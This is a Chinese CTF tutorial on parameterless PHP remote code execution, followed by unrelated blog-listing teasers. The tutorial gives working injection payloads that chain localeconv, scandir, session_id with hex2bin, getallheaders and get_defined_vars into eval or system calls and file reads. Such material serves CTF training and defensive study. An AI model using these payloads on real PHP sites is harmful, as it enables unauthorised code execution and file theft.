无参数RCE
无参数RCE（Remote Code Execution，远程代码执行）
是一种通过利用目标系统中的漏洞，在不直接传递用户可控参数的情况下，实现远程执行任意代码的攻击技术。与传统的RCE攻击不同，无参数RCE不依赖外部输入参数（如GET、POST请求中的数据），而是通过目标系统本身的功能、配置或环境变量触发漏洞执行恶意代码。
无参数RCE题目特征
正则表达式 [^\W]+\) 匹配了一个或多个非标点符号字符
就拿TGCTF来说
这个过滤了几乎所有的字符，符合无参数RCE
无参数RCE相关函数简要介绍
1. 目录与文件操作
-
scandir()
列出指定目录中的文件和目录，返回数组。- 示例：
scandir('.')列出当前目录。 - 配合
current()、next()等函数可遍历文件。
- 示例：
-
chdir()
改变当前工作目录。- 示例：
chdir('..')切换到上级目录。
- 示例：
-
dirname()
返回路径中的目录部分。- 示例：
dirname('/var/www/html')返回/var/www。
- 示例：
-
getcwd()
获取当前工作目录。 -
highlight_file()
输出文件的语法高亮内容，等价于读取文件。- 示例：
highlight_file('index.php')。
- 示例：
-
readfile()
输出文件内容。- 示例：
readfile('flag.php')。
- 示例：
-
file_get_contents()
将文件内容读取为字符串。
2. 数组操作
-
current()
返回数组中的当前元素（默认第一个）。- 示例：
current(['a', 'b', 'c'])返回'a'。
- 示例：
-
next()
将数组内部指针向前移动一位并返回当前元素。- 示例：
next(['a', 'b', 'c'])返回'b'。
- 示例：
-
prev()
将数组内部指针向后移动一位并返回当前元素。 -
end()
将指针移动到数组末尾并返回最后一个元素。 -
reset()
将指针重置到数组开头。 -
array_reverse()
反转数组顺序。- 示例：
array_reverse([1, 2, 3])返回[3, 2, 1]。
- 示例：
-
array_rand()
从数组中随机返回一个或多个键名。- 示例：
array_rand(['a' => 1, 'b' => 2])返回'a'或'b'。
- 示例：
-
array_flip()
交换数组的键和值。- 示例：
array_flip(['a' => 1, 'b' => 2])返回[1 => 'a', 2 => 'b']。
- 示例：
3. 环境与会话
get_defined_vars()
返回所有已定义变量的数组（包括$_GET、$_POST等）。- 示例：
get_defined_vars()['_GET']['cmd']可获取cmd参数。
- 示例：
session_id()
获取或设置当前会话 ID。- 配合
session_start()和$_COOKIE['PHPSESSID']可实现代码注入。
- 配合
getenv()
获取环境变量值。- 示例：
getenv('PATH')。
- 示例：
4. 字符串与时间
-
localeconv()
返回包含本地数字及货币格式信息的数组，第一项为'.'（当前目录）。- 示例：
current(localeconv())返回'.'。
- 示例：
-
strrev()
反转字符串。- 示例：
strrev('12345')返回'54321'。
- 示例：
-
time()
返回当前时间戳。 -
chr()
返回指定 ASCII 码的字符。- 示例：
chr(46)返回'.'。
- 示例：
5. 特殊函数
-
eval()
执行字符串作为 PHP 代码（危险，慎用）。- 示例：
eval('echo "hello";')。
- 示例：
-
assert()
评估字符串作为 PHP 代码（与eval()类似）。 -
preg_replace()
执行正则表达式搜索和替换，可能被用于 RCE。- 示例：
preg_replace('/pattern/', 'replacement', $subject)
- 示例：
举个例子scandir('.')是返回当前目录,虽然我们无法传参，但是由于localeconv() 返回的数组第一个就是‘.’，current()取第一个值，那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload：
?参数=var_dump(scandir(current(localeconv())));
方法一：scandir()需要修改PHPSESSION
简单分析一下payload
highligth_file(next(array_reverse(scandir(current(localeconv())))));
接下来逐个解析，1、 这里的var_dump(localeconv());我们能看见第一个string[1]就是一个“.”，这个点是由localeconv()产生的
2、 利用current()函数将这个点取出来的，‘.’代表的是当前目录，那接下来就很好理解了，我们可以利用这个点完成遍历目录的操作，相当于就是linux中的ls指令
3、既然current()取第一个值，那么current(localeconv())构造一个‘.’,而'.' 表示当前目录，scandir('.') 将返回当前目录中的文件和子目录，这里我们得知flag所在的文件名就是flag.php
4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转，让它从倒数第二的位置变成正数第二
5、移动指针读取第二个数组，参照下列数组移动操作可知我们应选用next()函数
6、最后用highlight_file()返回文件内容
方法二：session_id()
使用条件：当请求头中有cookie时
首先我们需要开启session_start()来保证session_id()的使用，session_id可以用来获取当前会话ID，也就是说它可以抓取PHPSESSID后面的东西
法一：hex2bin（）
我们自己手动对命令进行十六进制编码，后面在用函数hex2bin()解码转回去，使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后，替换掉‘Cookie:PHPSESSID=’后面的值
例子：?参数=eval(hex2bin(session_id(session_start())));
或者可以分开用：
?参数=session_start();system(hex2bin(session_id()));
法二：读文件
如果已知文件名，把文件名写在PHPSESSID后面，
可以构造payload:readfile(session_id(session_start()));
方法三：getallheaders()
getallheaders()返回当前请求的所有请求头信息
当确定能够返回时，我们就能在数据包最后一行加上一个请求头，写入恶意代码，再用end()函数指向最后一个请求头，使其执行，payload：
var_dump(end(getallheaders()));
方法四：get_defined_vars()
相较于getallheaders（）更加具有普遍性，它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE，
返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES
首先确认是否有回显：
print_r(get_defined_vars());
假如说原本只有一个参数a，那么可以多加一个参数b，后面写入恶意语句，payload：
a=eval(end(current(get_defined_vars())));&b=system('ls /');
把eval换成assert也行 ，能执行system('ls /')就行
*方法五：chdir()&array_rand()赌狗读文件
实在无法rce，可以考虑目录遍历进行文件读取
利用getcwd()获取当前目录：
var_dump(getcwd());
结合dirname()列出当前工作目录的父目录中的所有文件和目录:
var_dump(scandir(dirname(getcwd())));
读上一级文件名：
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
读根目录:
ord() 函数和 chr() 函数：只能对第一个字符进行转码，ord() 编码，chr)解码，有概率会解码出斜杠读取根目录
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
要用chdir()固定，payload：
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
通过bp的intruder模块来读到根目录
部分摘自无参数RCE绕过的详细总结（六种方法）_无参数的取反rce-CSDN博客
相关文章：
无参数RCE
无参数RCE（Remote Code Execution，远程代码执行） 是一种通过利用目标系统中的漏洞，在不直接传递用户可控参数的情况下，实现远程执行任意代码的攻击技术。与传统的RCE攻击不同，无参数RCE不依赖外部输入参数…...
设计模式之状态模式：优雅管理对象行为变化
引言 状态模式（State Pattern）是一种行为型设计模式，它允许对象在其内部状态改变时改变它的行为，使对象看起来似乎修改了它的类。状态模式将状态转移逻辑和状态相关行为封装在独立的状态类中，完美解决了复杂条件判断问…...
拖动滑块 代替验证码，识别机器人的方式，实验原理
拖动滑块验证是一种常见的人机验证技术，用于区分真实用户和自动化程序（如机器人）。其核心原理不仅在于用户是否能将滑块移动到正确位置，还包括对拖动行为的轨迹、速度、加速度等特征的分析。以下是其实现原理及识别机器人的方式&a…...
深度访谈：数据中台的本质不是技术堆砌，而是业务引擎的重构
在数字化转型进入深水区的今天，企业逐渐意识到单纯的技术堆砌无法解决业务核心痛点。数据的割裂、重复建设的烟囱式系统、滞后于业务的分析能力，正迫使企业寻找“系统性解法”。 “未来的竞争，本质是数据响应速度的竞争。当竞争对手还在讨论‘…...
Spark中Maven的用法
在IDEA中去创建项目，并编写java代码来操作集群中的文件 1.IDEA 中创建 Maven 项目 步骤一：点击 File -> New -> Project，在弹出的窗口左侧选择 Maven，点击 Next： 步骤二：填写项目的 GroupId、Arti…...
tomcat http 怎么改成 https
步骤 1：生成自签名证书 如果你没有可用的 SSL/TLS 证书，可以使用 Java 的 keytool 工具生成一个自签名证书。 bash复制代码 keytool -genkeypair -alias tomcat -keyalg RSA -keystore keystore.jks -keysize 2048 执行此命令后，系统会提…...
Playwright与Selenium详细对比及Playwright快速入门
Playwright 与 Selenium 详细对比及入门指南索引 简介 本文章旨在帮助测试工程师了解Playwright和Selenium这两个主流的UI自动化测试工具，并快速入门Playwright。文档分为多个部分，本文作为主要索引，提供核心对比和基本概念，而详…...
03 UV
04 Display工具栏_哔哩哔哩_bilibili 讲的很棒 ctrlMMB 移动点 s 打针 ss 批量打针...
hadoop执行sqoop任务找不到jar
sqoop:1.4.7 hadoop:3.4.1 数据:oracel-hdfs 2025-04-15 16:57:00,850 INFO sqoop.Sqoop: Running Sqoop version: 1.4.7 2025-04-15 16:57:00,901 WARN tool.BaseSqoopTool: Setting your password on the command-line is insecure. Consider using -P instead. 2025-04-15 …...
【C#】Html转Pdf，Spire和iTextSharp结合，.net framework 4.8
🌹欢迎来到《小5讲堂》🌹 🌹这是《C#》系列文章，每篇文章将以博主理解的角度展开讲解。🌹 🌹温馨提示：博主能力有限，理解水平有限，若有不对之处望指正！&#…...
Mac系统升级node.js版本和npm版本并安装pnpm
1.升级node.js版本 第一步：查询当前node.js版本 node -v第二步：清除node.js的缓存 sudo npm cache clean -f第三步：验证缓存是否清空 npm cache verify第四步：安装n工具，n工具是专门用于管理node.js版本的工具 su…...
记录分享《若依Spring Cloud本地开发部署教程》
若依Spring Cloud本地开发部署教程 若依（RuoYi）是一个基于Spring Boot和Spring Cloud的权限管理系统，提供了丰富的功能模块和开箱即用的解决方案。本文将详细介绍如何在本地环境中进行若依Spring Cloud的开发和部署。 一、环境准备 Java环境…...
 微调deepseek-8b模型参数详解以及全流程——训练篇)
(小白0基础) 微调deepseek-8b模型参数详解以及全流程——训练篇
本篇参考bilibili如何在本地微调DeepSeek-R1-8b模型_哔哩哔哩_bilibili 上篇：(小白0基础) 租用AutoDL服务器进行deepseek-8b模型微调全流程(Xshell,XFTP) —— 准备篇 初始变量 max_seq_length 2048 dtype None load_in_4bit True单批次最大处理模型大小dy…...
基于 PyGetWindow 获取窗口信息和控制窗口
PyGetWindow 是基于Python的一款简单、跨平台的模块，用来获取窗口信息和控制窗口。可以实现的功能有： 获取当前系统中所有打开窗口的列表。 根据窗口标题、窗口句柄等属性获取特定的窗口对象。 激活、最小化、最大化和关闭窗口。 获取和设置窗口的位置、…...
解锁动态规划的奥秘：从零到精通的创新思维解析（8）
前言： 小编在前几日讲述了关于动态规划的习题，下面小编继续跟着上次的步伐，继续进入多状态dp问题的讲解（但是今天这个题目不需要多状态），今天由于小编的精力有限，所以我就仅仅先讲述一个题目&am…...
使用RUN pip install flask和RUN pip install -r requirements.txt
在编写dockerfile文件的时候，有时候会遇上使用RUN pip install -r requirements.txt的情况，而且requirements.txt文件里面就一个包名，例如flask，那么不禁要问为什么不直接写成RUN pip install flask呢？其实不是不行&am…...
512天，倔强生长：一位技术创作者的独白
亲爱的读者与同行者： 我是倔强的石头_，今天是我在CSDN成为创作者的第512天。当系统提示我写下这篇纪念日文章时，我恍惚间想起了2023年11月19日的那个夜晚——指尖敲下《开端——》的标题，忐忑又坚定地按下了“发布”键。那时的我…...
【Java SE】Collections类详解
参考笔记：java Collections类 详解-CSDN博客 目录 一、Collections类简介 二、Collection类常用方法 1. 排序 ① static void reverse(List list) ② static void shuffle(List list) ③ static void sort(List list) ④ static void sort(List list, Comparator …...
Android LiveData学习总结（源码级理解）
LiveData 工作原理 数据持有与观察者管理：LiveData 内部维护着一个数据对象和一个观察者列表。当调用 observe 方法注册观察者时，会将 LifecycleOwner 和 Observer 包装成 LifecycleBoundObserver 对象并添加到观察者列表中。生命周期感知：L…...
RabbitMQ 为什么引入 Exchange 的概念, 交换机有什么作用.
RabbitMQ 引入 Exchange 的概念是为了实现消息的灵活路由和解耦生产者与消费者，这是 AMQP（Advanced Message Queuing Protocol）协议的核心设计之一。以下是 Exchange 存在的主要原因： 1. 解耦生产者与队列 问题：如果生…...
rabbitmq引入C++详细步骤
1. 安装RabbitMQ服务器 在Windows上：先安装Erlang，再安装RabbitMQ服务器。安装完成后，可通过访问http://localhost:15672来检查RabbitMQ服务器是否正常运行，默认的用户名和密码是guest/guest。 在Linux上：可使用包管理…...
Android 9.0系统源码定制：实现开机启动特定App的全面指南
在Android 9.0系统中，若需要通过修改系统源码实现开机启动特定应用（如系统预装应用或第三方应用），通常涉及对系统框架层（Framework）的深度定制开发。以下是详细的实现步骤和关键代码位置整理： 1…...
如何在不同版本的 Elasticsearch 之间以及集群之间迁移数据
作者：来自 Elastic Kofi Bartlett 当你想要升级一个 Elasticsearch 集群时，有时候创建一个新的独立集群并将数据从旧集群迁移到新集群会更容易一些。这让用户能够在不冒任何停机或数据丢失风险的情况下，在新集群上使用所有应用程序测试其所有…...
MySQL数据库精研之旅第六期：玩转数据库约束
目录 一、数据库约束的概念 二、约束类型 三、NOT NULL 非空约束 四、DEFAULT 默认值约束 五、UNIQUE 唯一约束 六、PRIMARY KEY 主键约束 七、FOREIGN KEY 外键约束 八、Check 约束 一、数据库约束的概念 数据库约束是指对数据库表中的数据所施加的规则或条件…...
【Java】面向对象程序三板斧——如何优雅设计包、封装数据与优化代码块？
🎁个人主页：User_芊芊君子 🎉欢迎大家点赞👍评论📝收藏⭐文章 🔍系列专栏：【Java】内容概括 【前言】 在Java编程中，类和对象是面向对象编程的核心概念。而包（Package&am…...
MCP、RAG与Agent：下一代智能系统的协同架构设计
一、智能系统架构的范式转移 1.1 传统架构的局限性 架构类型典型问题新架构需求单体架构扩展性差，维护成本高模块化解耦简单微服务缺乏智能决策能力认知能力嵌入纯LLM系统事实性错误，知识固化动态知识增强 1.2 三大核心组件的定位 #mermaid-svg-6tGuE…...
软件设计师2009-2022历年真题与答案解析（附pdf下载）
软考在即，现在给大家分享一下软件设计师2009-2022真题与答案解析 pdf全套，文末提供大家免费下载，大家都知道在软考备考过程中，拥有一套全面且实用的考试资料对于考生来说至关重要。目录如下： 历年真题及详解2004-2019 …...
前端 React 弹窗式 滑动验证码实现
目录 一、安装依赖 1、rc-slider-captcha 2、create-puzzle 二、个人封装好的组件拿去用 三、效果展示 一、安装依赖 这里需要引入两个依赖，若有后端图片接入，可以不引入第二个依赖 1、rc-slider-captcha 滑动验证码生成的库 国内网：…...
【触想智能】工业触摸一体机在金融智能设备领域上应用的优势
工业触摸一体机在金融智能设备领域上具有许多独特的优势。这些设备结合了工业级的强度和耐用性，以及先进的触控技术和高性能处理能力，为金融机构提供全面可靠的解决方案。下面将介绍工业触摸一体机在金融智能设备领域上的应用优势。 触想嵌入式工业触摸一…...
本地实现Rtsp视频流推送
简言：使用ffmpeg实现本地视频流推送 srs存储（延时推送） 准备工作 安装包： ffmpeg：http://ffmpeg.org/download.html EasyDarwin：EasyDarwin流媒体音视频资源汇总 srs安装教程地址：http://…...
人工智能中的卷积神经网络（CNN）综述
文章目录 前言 1. CNN的基本原理 1.1 卷积层 1.2 池化层 1.3 全连接层 2. CNN的发展历程 2.1 LeNet-5 2.2 AlexNet 2.3 VGGNet 2.4 ResNet 3. CNN的主要应用 3.1 图像分类 3.2 目标检测 3.3 语义分割 3.4 自然语言处理 4. 未来研究方向 4.1 模型压缩与加速 4.2 自监督学习 4.3 …...
Mac电脑交叉编译iphone设备可以运行的redsocks, openssl, libsevent
准备：intel x86_64芯片的mac电脑，系统为mac os15.3.1，iphone为6s的ios14.4(rootful越狱) 第一步：准备工具链（推荐使用 theos clang） 如果你已经安装过 Theos（或 NewTheos）&#x…...
-----点灯大师梦开始的地方)
入门51单片机(1)-----点灯大师梦开始的地方
前言 这一次的博客主要是要记录一下学习的记录的,方便以后去复习一下的，当然这篇博客还是针于零基础的伙伴萌，看完这篇博客，大家就可以学会点灯了。 安装软件 方法一下一下来教！！萌新宝贝萌可以学会的！帮…...
[1-01-09].第08节：基础语法 - 数组常见算法 + Arrays工具类 + 数组中常见异常
一、 数组的常见算法 1.1 数值型数组特征值统计 这里的特征值涉及到：平均值、最大值、最小值、总和等 **举例1：**数组统计：求总和、均值 public class TestArrayElementSum {public static void main(String[] args) {int[] arr {4,5,6,…...
dnf install openssl失败的原因和解决办法
网上有很多编译OpenSSL源码(3.x版本)为RPM包的文章，这些文章在安装RPM包时都是执行rpm -ivh openssl-xxx.rpm --nodeps --force 这个命令能在缺少依赖包的情况下能强行执行安装 其实根据Centos的文档，安装RPM包一般是执行yum install或dnf install。后者…...
UE5 Chaos ：官方文献总结 + 渲染网格体 (Render Mesh） 和模拟网格体 是如何关联的？为什么模拟网格体 可以驱动渲染网格体？
官方文献：https://dev.epicgames.com/community/learning/tutorials/pv7x/unreal-engine-panel-cloth-editor 1. 流程概述 本文档介绍了如何通过面板编辑器（Panel Editor）在Unreal Engine中生成基于面板的布料资源。流程主要包含从Marvelou…...
Swift观察机制新突破：如何用AsyncSequence实现原子化数据监听？
网罗开发 （小红书、快手、视频号同名） 大家好，我是 展菲，目前在上市企业从事人工智能项目研发管理工作，平时热衷于分享各种编程领域的软硬技能知识以及前沿技术，包括iOS、前端、Harmony OS、Java、Python等…...
Lombok库
文章目录 Lombok1.介绍2.主要注解2.1如何使用 Lombok2.1.1添加依赖2.1.2 使用Lombok注解2.1.3Lombok的其他常用注解ValueBuilderGoF23种设计模式之一：建造模式使用Builder注解自动生成建造模式的代码 SingularSlf4j使用选择合适的注解 Lombok 1.介绍 Lombok 是一个…...
算法思想之模拟
欢迎拜访：雾里看山-CSDN博客 本篇主题：算法思想之模拟 发布时间：2025.4.14 隶属专栏：算法 目录 滑动窗口算法介绍核心特点常见问题优化方向 例题替换所有的问号题目链接题目描述算法思路代码实现 提莫攻击题目链接题目描述算法思路…...
Windows 系统如何使用Redis 服务
前言 在学习过程中，我们长期接触到的是Mysql 关系型数据库，也是够我们平时练习项目用的，但是后面肯定会有大型数据的访问就要借助新的新的工具。 一、什么是Redis Redis（Remote Dictionary Server）是一个基于内存的 键…...
2025年常见渗透测试面试题-红队面试宝典上（题目+回答）
网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。 目录 一、如何判断是否是域环境？ 二、定位域控的 IP 三、定位域管所在机器 四、Kerberos 核心…...
Base64在线编码解码 - 加菲工具
Base64在线编码解码 - 加菲工具 打开网站 加菲工具 选择“Base64 在线编码解码” 或者直接打开https://www.orcc.top/tools/base64 输入需要编码/解码的内容，点击“编码”/“解码”按钮 编码： 解码： 复制已经编码/解码后的内容。...
前端面试宝典---闭包
闭包介绍 使用闭包： 在函数内声明一个变量，避免外部访问在该函数内再声明一个函数访问上述变量（闭包）返回函数内部的函数使用完毕建议闭包函数null;译放内存 function createCounter() {let count 0;return function () {coun…...
算法：有一个整数数组，长度为n。她希望通过一系列操作将数组变成一个回文数组。
小红有一个整数数组，长度为n。她希望通过一系列操作将数组变成一个回文数组。每次操作可以选择数组中任意两个相邻的元素 ai和 ai1，将它们的值同时加一。请你计算至少需要多少次操作使得数组变成一个回文数组。如果不可能，则输出-1。否则输出…...
数字人：开启医疗领域的智慧变革新时代（5/10）
摘要：数字人技术作为医疗变革的基石，通过多学科融合实现虚拟医生、手术模拟、医学教育等多元应用，贯穿诊前、术中、术后全流程，显著提升医疗效率、优化资源分配、推动个性化服务。尽管面临技术、伦理、数据安全等挑战，…...
 - 加菲工具)
正则表达式在线校验(RegExp) - 加菲工具
正则表达式在线校验 - 加菲工具 打开网站 加菲工具 选择“正则表达式在线校验” 或者直接打开https://www.orcc.top/tools/regexp 输入待校验的源文本与正则表达式，点击“校验”按钮 需要注意检验后的内容可能存在多空格，可以拉下去看看~...
某车企面试备忘
记录两个关于Binder的问题，我感觉面试官提的非常好，作一下备忘。 1.通过Binder进行的IPC（进程间通信）是线程阻塞的吗？ 参考答案： Binder是Android平台的一种跨进程通信（IPC）机制&…...
从Ampere到Hopper：GPU架构演进对AI模型训练的颠覆性影响
一、GPU架构演进的底层逻辑 AI大模型训练效率的提升始终与GPU架构的迭代深度绑定。从Ampere到Hopper的演进路径中，英伟达通过张量核心升级、显存架构优化、计算范式革新三大技术路线，将LLM（大语言模型）训练效率提升至…...
【JavaEE】SpringBoot 统一功能处理
目录 一、拦截器1.1 使用1.1 定义拦截器1.2 注册配置拦截器 1.2 拦截器详解1.2.1 拦截路径1.2.2 拦截器执⾏流程 1.3 适配器模式 二、统一数据返回格式2.1 简单用法2.2 问题及解决 三、统一异常处理 一、拦截器 拦截器：拦截器是Spring框架提供的核⼼功能之⼀&#…...
)
杨辉三角(力扣 118)
118. 杨辉三角 - 力扣（LeetCode） 示例 1: 输入: numRows 5 输出: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]]示例 2: 输入: numRows 1 输出: [[1]] vector<vector<int>> generate(int numRows) { //生成有numRows个元素(vector<in…...